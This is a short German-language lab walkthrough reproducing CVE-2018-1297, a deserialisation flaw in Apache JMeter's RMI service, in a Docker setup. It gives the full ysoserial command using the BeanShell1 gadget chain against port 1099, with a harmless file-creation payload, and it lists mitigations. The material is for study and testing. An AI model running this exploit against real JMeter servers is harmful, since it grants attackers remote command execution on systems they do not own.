Jmeter RMI Deserialisierungs-Schwachstelle zur Befehlsausführung (CVE-2018-1297)
Apache JMeter ist eine Open-Source-Software-Suite, die von der American Apache Software Foundation in Java für Stresstests und Leistungstests geschrieben wurde.
Die Versionen 2.x und 3.x enthalten eine Deserialisierungs-Schwachstelle, mit der ein Angreifer beliebige Befehle auf dem Zielserver ausführen kann.
Ausführung der Schwachstellenumgebung:
Ich habe Docker unter Kali Linux verwendet.
Nach Abschluss der Ausführung startet der RMI-Dienst und lauscht auf Port 1099.
Schwachstelle:
Führen Sie den Angriff auf die Schwachstelle direkt mit ysoserial durch.
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 BeanShell1 'touch /tmp/success'
Geben Sie den obigen Befehl ein.
Es wurde die Exploit-Kette BeanShell1 verwendet.
docker compose exec jmeter bash
Wenn Sie mit dem Befehl in den Container eintreten, können Sie sehen, dass '/tmp/success' erfolgreich erstellt wurde.

Zusammenfassung
Diese Schwachstelle nutzt eine RMI (Remote Method Invocation) Schwachstelle aus, die in Java-basierten Anwendungen auftreten kann.
Die hier verwendete Datei 'ysoserial-0.0.6-SNAPSHOT-all.jar' ist Teil des ysoserial-Projekts und wird verwendet, um Payloads zu generieren, die Java-Deserialisierungs-Schwachstellen ausnutzen und die Ausführung von Remote-Code ermöglichen.
Dieser Payload hat das Ziel, Befehle wie /tmp/success auszuführen, und durch diese Schwachstelle kann ein Angreifer beliebige Befehle auf dem entfernten System ausführen oder Systemdateien ändern.
Maßnahmen zur Eindämmung dieser Schwachstelle umfassen die Zugriffsbeschränkung auf den RMI-Dienst, eine strenge Zugriffskontrolle sowie die Filterung von Java-Deserialisierung.